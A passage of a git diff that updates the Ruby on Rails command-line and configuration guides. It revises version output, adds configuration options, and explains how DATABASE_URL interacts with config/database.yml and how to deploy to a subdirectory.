With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
@@ -222,7 +218,7 @@ We will set up a simple resource called "HighScore" that will keep track of our
```bash
$ rails generate scaffold HighScore game:string score:integer
invoke active_record
- create db/migrate/20120528060026_create_high_scores.rb
+ create db/migrate/20130717151933_create_high_scores.rb
create app/models/high_score.rb
invoke test_unit
create test/models/high_score_test.rb
@@ -244,18 +240,21 @@ $ rails generate scaffold HighScore game:string score:integer
create app/helpers/high_scores_helper.rb
invoke test_unit
create test/helpers/high_scores_helper_test.rb
+ invoke jbuilder
+ create app/views/high_scores/index.json.jbuilder
+ create app/views/high_scores/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/high_scores.js.coffee
invoke scss
create app/assets/stylesheets/high_scores.css.scss
invoke scss
- create app/assets/stylesheets/scaffolds.css.scss
+ identical app/assets/stylesheets/scaffolds.css.scss
```
The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
-The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
```bash
$ rake db:migrate
@@ -378,13 +377,14 @@ About your application's environment
Ruby version 1.9.3 (x86_64-linux)
RubyGems version 1.3.6
Rack version 1.3
-Rails version 4.0.0
+Rails version 4.1.0
JavaScript Runtime Node.js (V8)
-Active Record version 4.0.0
-Action Pack version 4.0.0
-Action Mailer version 4.0.0
-Active Support version 4.0.0
-Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::EncryptedCookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag
+Active Record version 4.1.0
+Action Pack version 4.1.0
+Action View version 4.1.0
+Action Mailer version 4.1.0
+Active Support version 4.1.0
+Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag
Application root /home/foobar/commandsapp
Environment development
Database adapter sqlite3
@@ -411,7 +411,7 @@ The `doc:` namespace has the tools to generate documentation for your app, API d
### `notes`
-`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.
+`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations.
```bash
$ rake notes
@@ -425,6 +425,12 @@ app/models/school.rb:
* [ 17] [FIXME]
```
+You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up.
+
+```ruby
+config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
+```
+
If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.
```bash
@@ -468,7 +474,7 @@ spec/models/user_spec.rb:
INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
-Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
### `tmp`
@@ -490,7 +496,9 @@ The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp`
### Custom Rake Tasks
-Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`.
+Custom rake tasks have a `.rake` extension and are placed in
+`Rails.root/lib/tasks`. You can create these custom rake tasks with the
+`bin/rails generate task` command.
```ruby
desc "I am short, but comprehensive description for my cool task"
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index 9bb5d621fc..ae382fc54d 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -56,7 +56,7 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
end
```
-* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
@@ -66,6 +66,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+* `config.beginning_of_week` sets the default beginning of week for the
+application. Accepts a valid week day symbol (e.g. `:monday`).
+
* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
@@ -103,9 +106,11 @@ numbers. New applications filter out passwords by adding the following `config.f
* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware.
+* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`.
+
* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
-* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications.
+* `config.log_tags` accepts a list of methods that the `request` object responds to. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode.
@@ -113,9 +118,9 @@ numbers. New applications filter out passwords by adding the following `config.f
* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
-* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`.
+* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`.
-* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
+* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won't be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
* `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
@@ -127,16 +132,14 @@ numbers. New applications filter out passwords by adding the following `config.f
* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
-* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
-
-* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments.
-
### Configuring Assets
* `config.assets.enabled` a flag that controls whether the asset
pipeline is enabled. It is set to true by default.
-* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
+*`config.assets.raise_runtime_errors`* Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`.
* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
@@ -243,8 +246,14 @@ config.middleware.delete "Rack::MethodOverride"
### Configuring i18n
+All these configuration options are delegated to the `I18n` library.
+
+* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+
* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+
* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
### Configuring Active Record
@@ -261,9 +270,11 @@ config.middleware.delete "Rack::MethodOverride"
* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table.
+
* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
-* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails.
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
@@ -273,6 +284,20 @@ config.middleware.delete "Rack::MethodOverride"
* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`.
+* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.
+
+* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.
+
+* `config.active_record.attribute_types_cached_by_default` sets the attribute types that `ActiveRecord::AttributeMethods` will cache by default on reads. The default is `[:datetime, :timestamp, :time, :date]`.
+
+* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true.
+
+* `config.active_record.dump_schema_after_migration` is a flag which
+ controls whether or not schema dump should happen (`db/schema.rb` or
+ `db/structure.sql`) when you run migrations. This is set to false in
+ `config/environments/production.rb` which is generated by Rails. The
+ default value is true if this configuration is not set.
+
The MySQL adapter adds one additional configuration option:
* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.
@@ -299,11 +324,11 @@ The schema dumper adds one additional configuration option:
* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes.
-* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
-* `config.action_controller.action_on_unpermitted_params` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
### Configuring Action Dispatch
@@ -321,6 +346,22 @@ The schema dumper adds one additional configuration option:
* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
+value. Defaults to `'encrypted cookie'`.
+
+* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
+encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
+* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge`
+ method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation)
+ for more information. It defaults to true.
+
* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
@@ -343,7 +384,7 @@ The schema dumper adds one additional configuration option:
* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
-* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information.
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information.
* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true`
@@ -355,6 +396,8 @@ The schema dumper adds one additional configuration option:
The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`.
+* `config.action_view.raise_on_missing_translations` determines whether an error should be raised for missing translations
+
### Configuring Action Mailer
There are a number of settings available on `config.action_mailer`:
@@ -375,17 +418,25 @@ There are a number of settings available on `config.action_mailer`:
* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
-* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`.
+* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration) for more info.
* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
```ruby
- :mime_version => "1.0",
- :charset => "UTF-8",
- :content_type => "text/plain",
- :parts_order => [ "text/plain", "text/enriched", "text/html" ]
+ mime_version: "1.0",
+ charset: "UTF-8",
+ content_type: "text/plain",
+ parts_order: ["text/plain", "text/enriched", "text/html"]
+ ```
+
+ Assign a hash to set additional options:
+
+ ```ruby
+ config.action_mailer.default_options = {
+ from: "noreply@example.com"
+ }
```
* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
@@ -410,6 +461,8 @@ There are a few configuration options available in Active Support:
* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`.
+
* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
@@ -420,18 +473,134 @@ There are a few configuration options available in Active Support:
* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
-* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
### Configuring a Database
-Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.
+
+Using the `config/database.yml` file you can specify all the information needed to access your database:
+
+```yaml
+development:
+ adapter: postgresql
+ database: blog_development
+ pool: 5
+```
+
+This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:
+
+```ruby
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file contains sections for three different environments in which Rails can run by default:
* The `development` environment is used on your development/local computer as you interact manually with the application.
* The `test` environment is used when running automated tests.
* The `production` environment is used when you deploy your application for the world to use.
+If you wish, you can manually specify a URL inside of your `config/database.yml`
+
+```
+development:
+ url: postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.
+
+
TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
+
+### Connection Preference
+
+Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact.
+
+If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:
+
+```
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+```
+
+If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:
+
+```
+$ cat config/database.yml
+development:
+ adapter: postgresql
+ database: my_database
+ host: localhost
+
+$ echo $DATABASE_URL
+```
+
+If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples.
+
+When duplicate connection information is provided the environment variable will take precedence:
+
+```
+$ cat config/database.yml
+development:
+ adapter: sqlite3
+ database: NOT_my_database
+ host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+```
+
+Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
+
+If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.
+
+```
+$ cat config/database.yml
+development:
+ adapter: sqlite3
+ pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+```
+
+Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
+
+The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key:
+
+```
+$ cat config/database.yml
+development:
+ url: sqlite3:NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+```
+
+Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
+
+Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).
+
+```
+$ cat config/database.yml
+production:
+ url: <%= ENV['DATABASE_URL'] %>
+```
+
+Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`.
+
#### Configuring an SQLite3 Database
Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
@@ -475,11 +644,9 @@ development:
encoding: unicode
database: blog_development
pool: 5
- username: blog
- password:
```
-Prepared Statements can be disabled thus:
+Prepared Statements are enabled by default on PostgreSQL. You can be disable prepared statements by setting `prepared_statements` to `false`:
```yaml
production:
@@ -487,6 +654,16 @@ production:
prepared_statements: false
```
+If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value:
+
+```
+production:
+ adapter: postgresql
+ statement_limit: 200
+```
+
+The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements.
+
#### Configuring an SQLite3 Database for JRuby Platform
If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
@@ -528,11 +705,48 @@ Change the username and password in the `development` section as appropriate.
By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
-Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server just by create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+### Deploy to a subdirectory (relative url root)
+
+By default Rails expects that your application is running at the root
+(eg. `/`). This section explains how to run your application inside a directory.
+
+Let's assume we want to deploy our application to "/app1". Rails needs to know
+this directory to generate the appropriate routes:
+
+```ruby
+config.relative_url_root = "/app1"
+```
+
+alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment
+variable.
+
+Rails will now prepend "/app1" when generating links.
+
+#### Using Passenger
+
+Passenger makes it easy to run your application in a subdirectory. You can find
+the relevant configuration in the
+[passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri).
+
+#### Using a Reverse Proxy
+
+TODO
+
+#### Considerations when deploying to a subdirectory
+
+Deploying to a subdirectory in production has implications on various parts of
+Rails.
+
+* development environment:
+* testing environment:
+* serving static assets:
+* asset pipeline:
+
Rails Environment Settings
--------------------------
@@ -540,7 +754,7 @@ Some parts of Rails can also be configured externally by supplying environment v
* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
-* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root).
* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
@@ -567,7 +781,7 @@ Rails has 5 initialization events which can be hooked into (listed in the order
* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
-* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run.
+* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run.
To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
@@ -593,11 +807,11 @@ WARNING: Some parts of your application, notably routing, are not yet set up at
### `Rails::Railtie#initializer`
-Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support:
+Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller:
```ruby
-initializer "active_support.initialize_whiny_nils" do |app|
- require 'active_support/whiny_nil' if app.config.whiny_nils
+initializer "action_controller.set_helpers_path" do |app|
+ ActionController::Helpers.helpers_path = app.helpers_paths
end
```
@@ -623,7 +837,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
-* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
@@ -631,20 +845,6 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
-* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:
-
- ```
- Called id for nil, which would mistakenly be 4 — if you really wanted the id of nil, use object_id
- ```
-
- And:
-
- ```
- You have a nil object when you didn't expect it!
- You might have expected an instance of Array.
- The error occurred while evaluating nil.each
- ```
-
* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
@@ -655,9 +855,9 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
-* `action_controller.logger` Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`.
+* `action_controller.logger` Sets `ActionController::Base.logger` - if it's not already set - to `Rails.logger`.
-* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` — if it's not already set — to `Rails.cache`.
+* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` - if it's not already set - to `Rails.cache`.
* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
@@ -665,7 +865,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
-* `active_record.logger` Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`.
+* `active_record.logger` Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`.
* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
@@ -675,7 +875,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
-* `action_mailer.logger` Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`.
+* `action_mailer.logger` Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`.
